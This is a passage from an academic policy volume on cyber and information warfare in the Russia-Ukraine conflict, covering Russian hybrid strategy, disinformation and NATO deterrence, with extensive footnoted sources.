Putin Gives the World His Geography Lesson: All the Former USSR is Russia, The Interpreter, 28 April 2015, http://www.interpretermag.com/putin gives the world his geography lesson all the former ussr is russia/.
8 Russian television interview available at https://www.youtube.com/watch?vXX4JCQViRKg (at 240).
9 William Hardy McNeill.
America, Britain and Russia: Their Co-operation and Conflict 1941-1946, (Oxford University Press 1953).
10 Private conversations with author in late 2014.
Informed analysis pointed to Ukraine as the next target for Russian action.
23 often unsuccessful to maintain influence and leverage over its Western neigh- bours.11 From the mid-2000s, Russia benefited from a sudden influx of revenue thanks to higher oil prices and began to review its perception of its own strengths accordingly.
From the earliest stages, this was reflected in huge budget increases for the Armed Forces,12 and an intensified pattern of testing levers of influence against Western neighbours.13 High-profile incidents during this stage included gas cut-offs for Ukraine in 2006, the crude cyber offensive against Estonia in May 2007, and ultimately the use of military force against Georgia in 2008.
In each case, the results validated this approach for Russia: the Georgian conflict in particular demonstrated the validity of use of armed force as a foreign policy tool bringing swift and effective results, with only limited and temporary economic and reputational costs to bear.
It was in this context that a range of informed analysis pointed to Ukraine as the next target for assertive Russian action.
A UK parliamentary report in 2009 noted that: Many of our witnesses stressed that Russia poses a military threat to other former Soviet states, particularly in light of its actions in Georgia...
Some witnesses argued that Russia posed a military threat to Ukraine... one scenario was that Putin could send in military forces to secure the Russian military base at Sevastopol.14 2 Is This Cyber Warfare?
As noted above, the levers of power which Russia is bringing to bear in Ukraine are wide-ranging.
This study looks in detail at the specific cyber conflict aspect of the Ukraine crisis, but even this concept is impressively broad thanks to the holistic and inclusive Russian approach to what constitutes information warfare, of which cyber is an integral part.
Opinions are divided as to whether what is taking place in and around Ukraine can or should be called cyber war.
As Jan Stinissen argues in Chapter 14, current cyber operations do not meet a strict legal definition of a state of war.
But at the same time, according to one analysis, operations in Ukraine undoubtedly constitute cyber warfare.
The conflict: meets the generally accepted standard for the following reasons: the cyber warfare component is overt, meaning the perpetrators make little effort to hide either their identities or their allegiances.
The two countries 11 For a recent overview of the unfriendly means Russia adopts to influence its neighbours, see Russias Toolkit in The Russian Challenge, Chatham House, June 2015, http://www.chathamhouse.org/publication/russian-challenge-authoritarian-national- ism.
12 Keir Giles.
Military Service in Russia: No New Model Army, Conflict Studies Research Centre, May 2007.
13 Jakob Hedenskog and Robert L. Larsson.
Russian Leverage on the CIS and the Baltic States, FOI, June 2007, available at www.
foi.se/ReportFiles/foir_2280.pdf.
14 Russia: a new confrontation?,
House of Commons Defence Committee, Tenth Report of Session 2008-09, 10 July 2009.
24 are in open, hostile and declared conflict with each other.
Both sides have stated military and political objectives.15 As if to emphasise the point, intensive cyber attacks reportedly cease during the occasional observance of ceasefires.16 Other elements of the cyber conflict also confound definition.
Operations to date represent an evolution in Russian tactics compared to previous campaigns.
Both cyber and traditional elements of conflict are present, but they are both less overt and more difficult to understand and defend against.
In part, this is due to Ukraines very different cyber terrain.
Comparisons to Russias rudimentary cyber efforts at the time of the Georgian conflict in 2008 are of limited value.
Unlike Georgia, Ukraines more interconnected nature makes it impossible to restrict access to the internet overall, except in the very special case of the Crimean peninsula.
But in addition, there is no reason why Russia should try, especially given the integrated nature of Ukrainian and Russian information space.
Since Russia already enjoyed domination of Ukrainian cyberspace, including tele- communications companies, infrastructure, and overlapping networks, there was little incentive to disrupt it.
In short, Russia had no need to attack that which it already owned.17 To give one simplistic but indicative example, little offensive cyber effort is needed for Russia to access sensitive Ukrainian e-mail traffic when so many Ukrainians, including government officials, use Russian mail services and therefore provide automatic access to the Russian security and intelligence services.18 A distinctive aspect of information operations in Ukraine itself, and one with important implications for how cyber war may be waged in future, is the way Rus- sian activity in the cyber domain facilitates broader information warfare aims.
This manifests itself not only in straightforward spearphishing of Ukrainian officials19 for exploitation, but also in specific uses of malware in the conflict.20 A particu- lar example is the redirection of malware originally intended for cybercrime to manipulating viewer figures to promote pro-Russian video clips.21 But potentially even more significant for the nature of future cyber operations is the new interface 15 Tony Martin-Vegue.
Are we witnessing a cyber war between Russia and Ukraine?
Dont blink you might miss it, CSO, 24 April 2015, http://www.csoonline.com/article/2913743/cyber-attacks-espionage/are-we-witnessing-a-cyber-war-between- russia-and-ukraine-dont-blink-you-might-miss-it.html.
16 Aarti Shahani.
Report: To Aid Combat, Russia Wages Cyberwar Against Ukraine, NPR, 28 April 2015, http://www.npr.org/ blogs/alltechconsidered/2015/04/28/402678116/report-to-aid-combat-russia-wages-cyberwar-against-ukraine.
17 Patrick Tucker.
Why Ukraine Has Already Lost The Cyberwar, Too, Defense One, 28 April 2014, http://www.defenseone.com/ technology/2014/04/why-ukraine-has-already-lost-cyberwar-too/83350/print/.
18 Anna Poludenko-Young.
Ukrainian Officials, Russian Security Services Thank You for Your Cooperation, GlobalVoices, 23 May 2015, http://globalvoicesonline.org/2015/05/23/ukrainian-officials-russian-security-services-thank-you-for-your-coop- eration/.
19 Undated PowerPoint presentation by SBU (Security Service of Ukraine), entitled , , , .
20 Kenneth Geers.
Strategic Analysis: As Russia-Ukraine Conflict Continues, Malware Activity Rises, FireEye, 28 May 2014, https://www.fireeye.com/blog/threat-research/2014/05/strategic-analysis-as-russia-ukraine-conflict-continues-malware-ac- tivity-rises.html.
21 Rami Kogan.
Bedep trojan malware spread by the Angler exploit kit gets political, Trustwave, 29 April 2015, https://www.
trustwave.com/Resources/SpiderLabs-Blog/Bedep-trojan-malware-spread-by-the-Angler-exploit-kit-gets-political/.
25 between cyber and kinetic operations.
When Russia wished to isolate Crimea from news from the outside world, no sophisticated cyber exploits were required.
Instead, SOF detachments simply took over the Simferopol IXP and selectively disrupted cable connections to the mainland.22 In short, complex and expensive informa- tion weapons are entirely unnecessary in situations where the adversary can gain physical control of infrastructure.
The circumstances of Crimea were unique, and not only because of the peninsulas distinctive internet geography but Russian planners will have noted this striking success and will be looking for where it can be applied elsewhere.
There are two important implications for planning for future crises with Russia.
First, both civil and military contingency planning should include scenarios where friendly access to the internet is degraded or absent and second, civilian internet infrastructure needs at least as much defence and protec- tion as other strategic assets.
In any case, the course of the conflict so far has seen no visible full-scale cyber hostilities of the kind envisaged by theorists, a theme examined in more detail by Martin Libicki in Chapter 5.
The tactics, techniques and procedures which have been used at various stages of the conflict are the subject of two separate detailed examinations by Nikolay Koval and Glib Pakharenko in Chapters 6 and 7.
3 Reactions and Responses Information campaigning, facilitated by cyber activities, contributed powerfully to Russias ability to prosecute operations against Ukraine in the early stages of the con- flict with little coordinated opposition from the West.
The fact that for almost a year the EU was unable to refer publicly to the presence of Russian troops in Ukraine23 denotes a broader inability to challenge the Russian version of events without which a meaningful response is difficult or impossible.
Early media coverage of the con- flict made it apparent that some interlocutors had swallowed whole some of the cruder falsifications of Russian propaganda.24 As the realisation of the nature of the Russian information campaign began to filter through Western media and policy-making circles, this gave way to a dan- gerous optimism about the effectiveness of Russian measures, and a widespread assumption that Russian disinformation was failing because of its lack of plausibil- 22 , Ukrtelekom, 28 February 2014, http://www.ukrtelecom.ua/presscenter/news/offi- cial?id120327.
23 Andrew Rettman,.
EU breaks taboo on Russian forces in Ukraine, EU Observer, 16 February 2015, https://euobserver.com/ foreign/127667.
24 John Besemeres.
Russian disinformation and Western misconceptions, Inside Story, 23 September 2014, http://insidestory.org.
au/russian-disinformation-and-western-misconceptions.
Russian activity in the cyber domain facilitates broader information warfare aims.
26 ity.
Supposedly, Russian lies were ineffective because they were so obvious that they did not confuse senior and intelligent individuals in the West.
But this was to under- estimate the effects of layered messaging, subtlety screened and concealed by more obvious fabrications, continued saturation, and in particular the pernicious effect of the filter bubble on online reading habits the way personalised search results driven by advertising models can effectively isolate internet users from alternative information and viewpoints.25 Russian official sources continue to disseminate lies which are easily detected and discredited in the West, as with the striking example of the discovery of sup- posed US MANPADS in Donetsk in late July 2015.26 But the implausibility is irrel- evant for Russian objectives: the story has been planted and will continue to be dis- seminated via the internet, and will not be contradicted in mainstream sources within Russia.
Instead of convincing Western readers that the disinformation is true, Rus- sian success is defined in two other ways: isolating the domestic audience from non-approved information so that Russian state actions are permissible and influencing foreign decision making by supply- ing polluted information, exploiting the fact that Western elected representatives receive and are sensitive to the same information flows as their voters.
When Rus- sian disinformation delivered in this manner is part of the framework for decisions, this constitutes success for Moscow, because a key element of the long-standing Soviet and Russian approach of reflexive control is in place.
Crucially, it must be remembered that Russian disinformation campaigns aimed at the West are conducted not only in NATO languages, but also in Arabic and Russian targeting minorities across Europe.
This itself has major implications for managing future confrontations between Russia and other front-line states, which must involve finding a means to respond to Russian information operations when the initiative necessarily lies with Russia.
As put pithily by journalist and author Peter Pomerantsev, they will always win the narrative war, because they can make stuff up.27 For the time being, much of the Western response appears focused on find- ing a label for the newly-demonstrated Russian way of warfare.
A range of early contenders, such as non-linear war, ambiguous war and others have largely been abandoned in favour of hybrid warfare, a concept originally designed for describing insurgency rather than warfighting by an aspiring regional power, but now applied to a totally new situation.
Nevertheless many of the components now being used to define hybridity are nothing new in Russian practice.
One argument 25 How to Burst the Filter Bubble that Protects Us from Opposing Views, MIT Technology Review, 29 November 2013, http:// www.technologyreview.com/view/522111/how-to-burst-the-filter-bubble-that-protects-us-from-opposing-views/.
26 Brian Ashcraft.
Pro-Tip: Dont Copy Battlefield 3 Stingers, 23 July 2015, Kotaku.com, http://kotaku.com/pro-tip-dont-copy- battlefield-3-stingers-1719695507.
27 Speaking at the Lennart Meri Conference, Tallinn.
24 April 2015.
Implausibility is irrelevant for Russian objectives.
27 holds that a previous round of expansionism by Russia in 1939-40 shared sufficient characteristics with current operations around Ukraine, including intimidation, spurious legitimation, and information campaigns backed with the prospect of full-scale invasion, to also be called hybrid warfare.28 Russias clinging to the atti- tudes and approaches of a former age holds other dangers too: Russian military, and in particular nuclear, messaging is baffling to its Western audience because the post-nationalist West has moved on from the Cold War mind-set in which it is rooted.
The result is a dangerous situation where the messages from Russia are received, but not understood.
4 Outlook At the time of writing the situation around Ukraine remains fluid and unpredictable.
While Russia shows no signs of pushing for greater territorial control of Ukraine, moves toward conciliation by the West give rise to fears of appeasement and the danger of a repeat of the disastrous resolution to the Georgia conflict seven years before.29 But one undeniable achievement by Russia is the transformation of the security environment in Central and Eastern Europe.
Faced with a challenge that is no longer deniable, Europe has overcome its strategic inertia.30 NATO in particular has been revitalised: the NATO agenda has shifted radically from contemplation of a future role after withdrawal from Afghanistan, now that the Alliance has a clear motivation to return to its core purpose.
Poland and the Baltic states, long cast as irresponsible trouble-makers for warning of the implications of a resurgent Russia, are now fully vindicated and benefiting from the overall NATO and unilateral US military response to the crisis.
Each is at present supporting these front-line states with very small increments of conventional military forces, while considering how to respond to the broader threat of a more assertive Russia.31 The Ukraine conflict has the potential to bring about a transformative effect specifically within cyber doctrine.
Unlike Russia, the siloed Western approach to cyber has typically focused on technical responses to technical threats, largely disre- garding the interface with information warfare in the broad sense.
This approach is entirely apt for persistent or background threats, but probably insufficient for when a national security crisis emerges, since at that point there will be no such thing as a pure cyber confrontation.
In other words, the West may have been well prepared 28 Vitalii Usenko and Dmytro Usenko.
Russian hybrid warfare: what are effects-based network operations and how to counteract them, Euromaidan Press, 17 January 2015, http://euromaidanpress.com/2015/01/17/russian-hybrid-warfare-what-are-effect- based-network-operations-and-how-to-counteract-them/.
29 Karoun Demirjian.
Visits by top U.S officials give Russia something to crow about, The Washington Post, 18 May 2015, http:// www.washingtonpost.com/world/europe/visits-by-top-us-offi...about/2015/05/18/3c562a94-fd6b-11e4-8c77-bf274685e1df_ story.html.
30 Andrew A. Michta.
Europes Moment of Blinding Strategic Clarity, The American Interest, 24 October 2014, http://www.
the-american-interest.com/2014/10/24/europes-moment-of-blinding-strategic-clarity/.
31 Daniel Schearf.
Russia Concerns Driving Neighbors to NATO, Voice of America, 5 August 2015, http://www.voanews.com/ content/russia-concerns-driving-neighbors-to-nato/2903033.html.
for cyber war, but events in Ukraine show that it also needs to be prepared for infor- mation war when cyber operations are used as a facilitator or attack vector.
More broadly, Russia has clearly demonstrated an improved capability to coor- dinate its levers of state power in order to achieve strategic objectives in contrast to the Wests apparent deficit of grand strategy.
In his chapter Strategic Defence in Cyberspace: Beyond Tools and Tactics, Richard Bejtlich calls for strategic thought in cyber policy, but this approach needs to be mirrored across all domains in order to successfully counter the broad-based Russian approach to modern warfare.
The crisis around Ukraine has brought Europe closer to recognition that its val- ues and interests are incompatible with those of Russia, and that if the West wishes to support Russias neighbours in asserting their sovereignty and choosing their own destiny, confrontation with Russia is the inevitable result.32 This also implies rec- ognition that 201415 is not an aberra- tion in relations between Russia and the West rather, it is the previous 25 years of relative quiescence that were the exception to the rule.
European nations have now been prompted by events to once more take an interest in their own defence.
But while concentrating on countering and forestalling Russias next unacceptable act of force, they must also be prepared for a sustained period of difficult and expensive tension.33 In Russias neighbour- hood, the new normal is a return to old ways.
32 A theme explored in greater detail in The Russian Challenge, op.
cit.
33 Keir Giles.
Staring down a grizzly Russia, The World Today, Volume 70, Number 2, AprilMay 2014.
201415 is not an aberration in relations between Russia and the West.
29 Cyber War and Strategic Culture: The Russian Integration of Cyber Power into Grand Strategy James J. Wirtz Naval Postgraduate School Discussion of the cyber domain in general, and specific considerations of cyber attacks, cyber war and cyber power, often seem oddly detached from a broader stra- tegic and geopolitical context.1 Several reasons can be suggested for why the cyber dimension of conflict seems to be considered in isolation from the physical and political goals that states and non-state actors attempt to achieve through their activ- ities in the virtual world of cyberspace.
Offensive and defensive cyber capabilities are highly classified by all parties it is impossible to say with certainty what capa- bilities are wielded, making it difficult to assess cyber orders of battle and cyber balances of power.
Newspaper reports, anecdotes, and rumours of capabilities offer clues, but it is difficult to link rumours to grand strategic objectives.
Cyber warfare is an exquisitely technical subject dominated by engineers, mathematicians, and computer scientists individuals who can be forgiven for focusing on the latest patch needed in some software program, and for not thinking about the connection between technical exploitation and grand political strategy.
In a sense, issues related to cyber warfare are often treated, not just as something technically new on the mil- itary landscape, but as something that is unprecedented in military affairs.
If one turns a strategists eye toward the cyber domain, key questions immedi- ately emerge.
How will states integrate their cyber capabilities into an overall strat- 1 The opinions here are not those of the U.S. Navy, U.S. Government or the North Atlantic Treaty Organisation.
Chapter 3 30 egy to achieve military and political goals?
In other words, no matter how brilliant the algorithm, no matter how devious the penetration, how can cyber power be integrated into a combined arms or even a whole of government approach leading to battlefield success or to a grand strat- egy that creates a political fait accom- pli?
Unless one embraces the dubious proposition that cyber really constitutes the ultimate silver bullet in political and military conflict, it is unlikely to be employed independently as a war-winning weapon.
Moreover, given the need for integration, issues of political and strategic culture, to say nothing of bureaucratic preferences and peacetime legal restraints, can be expected to produce national styles and preferences when it comes to conflict in cyberspace.2 Although attribution of known cyber attacks remains a hotly contested and much denied issue (given the very limited evidence available), there is some indi- cation that strategic culture and organisational preferences shape the way the United States, China and Russia use their cyber power.
According to press reports, the United States was behind the Stuxnet malware attack on centrifuges at Irans Natanz enrichment facility.3 Many analysts suggested at the time that the Stuxnet attack was noteworthy as the first example of the use of a cyber weapon to cause physical damage, but it also reflected the long-standing American tradition of long-range precision bombardment and the preference for targeting key nodes in an opponents infrastructure to produce maximum damage with minimal effort.4 By contrast, the recent Office of Personnel Management hack, which press report- ing attributes to the Peoples Republic of China, seems to reflect a Chinese preoc- cupation with guarding its own citizens from nefarious outside influences, while going to great lengths to gather information that is locked behind others defen- sive barriers.5 Russian cyber activities, especially those associated with the recent conflict in Ukraine and the annexation of Crimea, probably offer the best example of the employment of cyber attacks to shape the overall political course of a dispute.
According to David J. Smith: 2 According to Colin Gray, The political context of strategy is exceedingly broad.
It includes the domestic political and bureau- cratic processes by which strategy is made and amendedall strategies are contrived and executed by people and institutions that must be considered encultured by the societies that bred them.
Colin Gray.
The Strategy Bridge: Theory for Practice (Ox- ford: Oxford University Press, 2010).
pp.
39-40.
3 Ellen Nakashima and Joby Warrick.
Stuxnet was work of U.S. and Israeli experts, officials say, Washington Post, June 2, 2012.
https://www.washingtonpost.com/world/national-security/stuxnet-was-work-of-us-and-israeli-experts-officials- say/2012/06/01/gJQAlnEy6U_story.html David E. Sanger.
Obama Ordered Sped Up Wave of Cyberattacks Against Iran, The New York Times, June 1, 2012, p. A1.
http://www.nytimes.com/2012/06/01/world/middleeast/obama-ordered-wave-of-cyber- attacks-against-iran.html.
4 Lawrence Freedman.
The Evolution of Nuclear Strategy, (3rd edition, New York: Palgrave MacMillan, 2003), pp.
11-12 Michael E. Brown, Flying Blind: The Politics of the U.S. Strategic Bomber Program (Ithaca: Cornell University Press, 1992), pp.
29-67.
5 Sean Lyngaas.
Exclusive: The OPM breach details you havent seen, Federal Computer Week August 21, 2015.
http://fcw.com/ articles/2015/08/21/opm-breach-timeline.aspx Jon R. Lindsay.
The Impact of China on Cybersecurity: Fact and Friction, International Security, Vol.
39, No.
3 (Winter 2014/2015), pp, 7-47.
Political and strategic culture produce national styles and preferences in cyberspace.
https://www.washingtonpost.com/world/national-security/stuxnet-was-work-of-us-and-israeli-experts-officials-say/2012/06/01/gJQAlnEy6U_story.html https://www.washingtonpost.com/world/national-security/stuxnet-was-work-of-us-and-israeli-experts-officials-say/2012/06/01/gJQAlnEy6U_story.html http://fcw.com/articles/2015/08/21/opm-breach-timeline.aspx http://fcw.com/articles/2015/08/21/opm-breach-timeline.aspx 31 Russia holds a broad concept of information warfare, which includes intelligence, counterintelligence, deceit, disinformation, electronic war- fare, debilitation of communications, degradation of navigation support, psychological pressure, degradation of information systems and propa- ganda.
Computers are among the many tools of Russian information warfare, which is carried out 24 hours a day, seven days a week, in war and peace.
Seen this way, distributed denial of services attacks (DDoS), advanced exploitation techniques and Russia Today television are all related tools of information warfare.6 Russia, more than any other nascent actor on the cyber stage, seems to have devised a way to integrate cyber warfare into a grand strategy capable of achieving political objectives.
The remainder of this essay explains what it is about Russian strategic culture that enables it to wield cyber power in a strategically effective manner.
It begins with a brief discussion of Russian strate- gic culture, especially how it manifested in past debates the impact of technology on warfare.
It then describes how Russia has employed its cyber power to defeat US and NATO deterrence strategies, effectively delivering a strategic defeat to the alliance at the outset of its hybrid war against Ukraine.
The essay concludes by offering some observations about the strategic nature of cyber warfare.
1 Russian Strategic Culture and Technology Often, states or individuals who initially invent or master some new technology fail to understand, not only its strategic implications, but also how best to employ it in a tactical or operational setting.
Historically, Russia, including its Soviet manifesta- tion, has not been at the forefront of scientific or technical innovation.
As one recent history explained, Soviet Cold War espionage was largely dedicated to stealing sci- entific, technical, and military information from the West in a desperate and ulti- mately failed effort to keep pace with more sophisticated and innovative opponents.7 Nevertheless, while the Russians may lack in technological prowess and innovative drive, they tend to excel in their ability to foresee the broad impact of technology on the battlespace.
Several sources can be suggested as the basis of this talent.
As Rob- ert Bathhurst explained decades ago, the Russians tend to be dreamers, allowing 6 David J. Smith.
How Russia Harnesses Cyberwarfare, Defense Dossier, Issue 4, August 2012, pp.
7-8.
7 According to Michael Warner, Soviet spies were crucial to keeping the USSR alive and competitive for two reasons: they stole enough industrial secrets to substitute for innovation in some sectors, and they kept Moscow apprised of where the West was reading Soviet secrets, Michael Warner.
The Rise and Fall of Intelligence: An International Security History (Washington, D.C.: Georgetown University Press, 2014), p. 161.
Russia seems to have devised a way to integrate cyber war- fare into grand strategy.
32 their imaginations to run wild and envision the implications of technology.8 In the 1920s, for instance, Soviet writers were thinking about supersonic dogfights on the fringes of space something that has not occurred nearly a century later.
During the Cold War, visions of a fully functioning Star Wars missile defence system shook the Kremlin to its foundations, despite the fact that even proponents of Reagan-era missile defence recognised that many of the components of the system were at the outer fringes of technical feasibility.
In other words, while America focuses on issues of technology and systems integra- tion, Russia tends to leap immediately to considerations of the strategic implications of emerging weapons systems.
A second influence that shapes Russian views of emerging technology is the fact that, in their hearts, they are good Clausewitzians.
In other words, they understand the paramount nature of politics in war.
War is a political act.
Its purpose is to alter the political judgments of opponents to better suit our own interests.
Thus, to have a strategic effect, cyber power must be used in a way that will shape the political outcome of war.
Russians are thus quick to think through the links between technol- ogy, military operations, strategy, and ultimately political outcomes, despite their lack of technological dexterity.
Soviet estimates of the military balance, for example, reflected a broad assessment of the so-called correlation of forces, which incorpo- rated political and economic trends, not just force ratios based on bean counts of military units.
Soviet alarm over NATOs 1983 Able Archer exercise, for instance, was greatly influenced by the political rhetoric emanating from the Reagan White House, not by some fundamental shift in the military balance in Europe.
The Rus- sian officer corps, especially in Soviet days, was also encouraged to think through the strategic implications of new technologies.
Today, the Russian Army provides senior officers with multiple venues to debate not only doctrine, but theory.
By con- trast, US officers, who tend to focus on operational matters, generally lack similar venues to assess the strategic and political implications of new technology.9 In fact, many analysts point to a 2013 article signed by the Chief of the Russian General Staff, The Value of Science in Anticipating as laying out the Russian way of cyber warfare.10 A fine illustration of these phenomena is the emergence of the concept of Mili- tary-Technical Revolution, more commonly referred to by Western analysts as the 8 Robert B. Bathurst.
Intelligence and the Mirror (London: Sage, 1993).
9 For a recent discussion of how operational considerations, for instance, take centre stage in what is purportedly Naval strategy see Peter D. Haynes.
Toward a New Maritime Strategy: American Naval Thinking in the Post-Cold War Era (Annapolis: Naval Institute Press, 2015).
10 Valery Gerasimov.
The Value of Science in Anticipating [in Russian], Military-Industrial Courier, February 27, 2013, quoted in Matthew Rojansky and Michael Kofman.
A Closer look at Russias Hybrid War, Wilson Centre Kennan Cable , No 7, April 2015, p. 3.
America focuses on technol- ogy, Russia tends to leap to the strategic implications of weapons systems.
33 Revolution in Military Affairs.11 By the mid-1970s, NATO defence planners rec- ognised that they confronted a serious challenge along the Central Front.
If war broke out in Europe, NATO would do well against first-echelon Warsaw Pact formations, but the Alliance could only slowly bring reinforcements across the Atlantic.
Soviet third-echelon forces units made up mostly of inactive reservists in peacetime would probably defeat NATO because they would reach the battle before reinforce- ments streaming across the Atlantic.
The United States and its allies had to prevent the third-echelon of the Red Army from reaching the Forward Edge of the Battle Area (FEBA).
The solution to the third-echelon threat was found in several new technol- ogies that would allow NATO to conduct precision strikes against Warsaw Pact stag- ing areas, depots, transportation hubs, and armoured formations hundreds of miles behind the FEBA.
By the mid-1980s, US programmes known as Assault Breaker and Smart Weapons Program, and NATO initiatives called Emerging Technologies and Follow on Forces Attack, were integrated into a new US Army Air-Land Battle doc- trine, creating a nascent reconnaissance-strike complex.
US planners adopted a rather nonstrategic and apolitical view of these new technologies they simply saw them as a way to stop Soviet third-echelon forces from reaching the Central Front.
By contrast, the Soviets now anticipated a Military-Technical Revolution, pre- dicting that the emerging reconnaissance-strike complex would transform con- ventional combat, producing truly strategic and political effects.
Soviet strategists believed that long-range precision strikes could destroy forces and critical supply, communication, and command nodes deep within the enemys rear, creating con- ditions for a catastrophic theatre-wide collapse.
Put somewhat differently, the sys- tem of systems possessed by the Americans and their NATO allies would rob the Warsaw Pact of its ability to mass and manoeuvre forces, or even to conduct com- bined arms operations.
Soviet officers estimated that the nature of war was about to change: conventional, not nuclear, munitions might soon become the weapon of choice against massed armoured and infantry formations.
They saw the potential impact that this emerging system of systems could have on strategy, war, and inter- national politics there was a real possibility that the Warsaw Pact could be rendered militarily and politically ineffective by these emerging weapons and ways of war.
Ironically, Soviet predictions of a Military-Technical Revolution set off alarm bells in the West, as analysts scrambled to detect the new secret Soviet weapon that would produce these revolutionary developments in war.
Americans were slow to realise that the Soviets were in fact writing about American weapons, and the nascent precision-strike complex, which was in fact possessed exclusively by the United States and the NATO alliance.
As a result, many of the key concepts related to the application of information-age technologies in warfare were produced by Soviets thinking about the weapons systems being deployed by their opponents, and not by the more technically competent Americans.
11 Dima Adamsky.
The Culture of Military Innovation: The Impact of Cultural Factors on the Revolution in Military Affairs in Rus- sia, the US and Israel (Stanford: Stanford University Press, 2010).
34 2 Russian Cyber Strategy Today, how is this Clausewitzian-inspired Russian strategic imagination being applied to the use of cyber power?
The answer can be found by first exploring the strategic challenge they apparently believe they face: the NATO alliance.
NATO is based on the concept of collective defence that enhances its strategy of deterrence.
Through formal agreements and long-standing and extensive collaboration, NATO sends a strong signal that member states will stand together in the face of threats to collectively deter aggression against its members.
The objective of this deterrent policy is to preserve the peace.
This is a key observation.
The goal of NATOs deter- rent strategy is to reduce or even eliminate the possibility of war by ensuring that aggressors understand ex ante that an attack against one of its members is an attack against the entire Alliance.
Especially today, NATO primarily exists to prevent war, not to develop enhanced strategies or capabilities to prosecute war or to wield forces to achieve ancillary objectives.
In a sense, NATO exists to preserve the peace and to make sure that changes to the status quo in Europe occur through political pro- cesses that lead to the spread of democracy, the rule of law, and adherence to inter- national norms.
The raison dtre of NATO is to preserve the peace the purpose behind its strategy is to deter war.
To achieve its objective rapid change of the European status quo to better fit their Russia-centric, not democratically-cantered, interests and preferences Russia opted to pick a course of action not to defeat NATO, but to defeat NATOs strategy.
By presenting the Western alliance with a fait accompli through actions that produce minimal death and destruction, Russia attempted to shift the onus of escalation onto NATO, thereby inflict- ing a strategic defeat on the Alliance at the outset of hostilities or even in the event of non-democratic changes to the status quo.
Russia is banking on the hope that NATO will either be incapable or unwilling to transform this strategic defeat into active conventional combat, which would further undermine NATOs goal of preserving the peace.
In effect, the Russians seem to have realised that by defeating NATOs strategy at the outset of a confrontation, they can actually alter political perceptions within the Alliance in a way that suits their objectives.
Put somewhat differently, the risk of a forceful NATO response to some provocation is minimised by keep- ing the death and destruction associated with any fait accompli to an absolute minimum.
NATO is especially vulnerable to cyberattacks and information war- fare because Russia can undermine NATOs deterrent strategy without causing casualties.
NATO has the option of reversing the fait accompli, but the required level of death and destruction simply highlights the failure of its deterrent strategy.
Russia opted to pick a course of action not to defeat NATO, but NATOs strategy.
35 Cyber power, as a key facet of hybrid warfare, is an important enabler in an attack on NATOs deterrent strategy.12 Cyber attacks are not specifically targeted to eliminate key nodes, but to intensify the fog of war by sowing confusion within command and control networks and NATO polities.
For instance, according to press reports, Russian movement into the Ukraine was accompanied by myr- iad cyber attacks, including Distributed Denial of Service (DDoS) tactics against computers in Kyiv, Poland, the European Parliament, and the European Commis- sion.13 If local political and military leaders cannot develop an accurate estimate of quickly developing events, critical hours or even days can be gained with which Russia can create facts on the ground that can only be reversed at great effort.
A little bit of sand in the works, so to speak, is enough to further delay the relatively slow- pace of decision-making in the West.14 The annexation of Crimea also began with a series of covert operations that used a disinformation campaign to create ambiguity and delay Ukraines response, effec- tively extending the element of surprise achieved by the Russian gambit.
According to Michael Kofman and Matthew Rohansky: Russias use of broadcast tools for propaganda and psychological operations, part of a broader information campaign to support the Crimean annexation, caught both the Ukraine and the West by surprise.
Moscow amped up the alarmist content of its broadcasting . . .
stoking fear and confusion in Crimea.15 Admittedly, the annexation was completed using more traditional operations involving conventional units, but the cyber-enabled opening moves not only allowed Russia to test the Western response, but to buy the time needed to create a fait accompli through conventional means.
Western analysts have noted that even though the Crimea crisis surprised the West, the Russian effort to integrate television and the internet, especially various 12 As Michael Kofman and Matthew Rojansky note, hybrid warfare, including the Russian variations used against the Ukraine is not unique.
The point here, however, is that Russia is particularly adept as using cyber power in the practice of hybrid war- fare see Kofman and Rojansky, (op cit) p. 2.
Other analysts have noted how the Crimea annexation and the additional actions against Ukraine were dependant on capabilities long under development that were especially crafted not to trigger a NATO response Aleksandr Golts and Heidi Reisinger.
Russias Hybrid Warfare: Waging War below the Radar of Traditional Collec- tive Defence, Research Paper No 105 (Research Division NATO Defence College Rome) November 2014.
13 Owen Matthews.
BIG READ: Russia leading the way in the cyber arms race, Irish Examiner, Saturday June 13, 2015.
www.
irishexaminer.comlifestylefeaturebig-read-russia-leading-the-way-in-the-cyber-arms-race-336675.html.
14 The key point is that information denial or dominance does not have to be absolute, it just needs to foster delay and uncer- tainty in Western political and military decision-making.
According to Paul Saunders, Russias seizure of Crimea happened very quickly.
U.S. and European decision-making processes just dont move at that speed, particularly when facing ambiguity.
Once a Crimea-style operation has begun, it will be extremely difficult if not impossible for Western decision-makers to be sufficiently confident about the other sides intent to take consequential action before its too late Saunders, P. Why America Cant Stop Russias Hybrid Warfare, The National Interest June 23, 2015.
www.nationalinterest.org/feature/shy-america-cant- stop-russias-hybrid-warfare-13166.
15 Kofman and Rojansky, p. 4.
Cyber power is an impor- tant enabler in an attack on NATOs deterrent strategy.
36 types of social media, into its effort to shape opponents political perspectives, has been ongoing for quite some time.
In a sense, Russia has worked hard to use the internet to shape the political environment of conflict: it has (1) developed inter- nally and externally focused media with a significant online presence (2) used social media to guarantee that Russian narratives reach the broadest possible audi- ence and (3) polished their content in terms of language and presentation so that it rings true in various cultural settings.16 These activities have recently been given their own moniker trolling the practice of creating cyber actors with false iden- tities to communicate tailored messages to an unsuspecting audience.17 According to Keir Giles: Russian assessments of current events makes it clear that Russia considers itself to be engaged in full-scale information warfare, involving not only offensive but defensive operations whether or not its notional adversaries have actually noticed this is happening.18 What most analysts fail to realise, however, is that Moscow has shaped this cyber-enabled information warfare in a very strategic manner.
Cyber power is being wielded as a strategic weapon to create facts on the ground with the minimal use of kinetic force.
3 Conclusion Because of its rather inchoate nature, the cyber domain is a milieu in which vari- ous strategic cultures can be manifest.
Russian strategic culture focuses on war as a political activity for cyber power to have a truly strategic effect, Russia believes that it must contribute directly to shaping political outcomes by altering the political perceptions of their opponents to better suit their interests.
If one also accepts the idea that Russians are especially adept at understanding the political and strategic impact of new technologies, it is possible that they have grasped the real strategic opportunities created by the information revolution opportunities that might be given short shrift by analysts shaped by different strategic cultures.
The true test of strategy, however, is found in a specific geopolitical and military context.
In terms of Crimea and Ukraine, the Russians have developed an exquisite strategic application of cyber power not to defeat NATOs military capabilities, but to defeat NATOs strategy by creating a fait accompli while sidestepping NATOs deterrent.
By using cyber power to create facts on the ground with minimal casual- 16 Keir Giles.
Working Paper: Russias Hybrid Warfare: a Success in Propaganda, European Security and Defence College, 18 February 2015.
www.baks.bund.dedeaktuelles/working-paper-russias-hybrid-warfe-a-success-in propaganda 17 Adrian Chen.
The Agency, New York Times Magazine, June 2, 2015.
p. 57.
18 Giles.
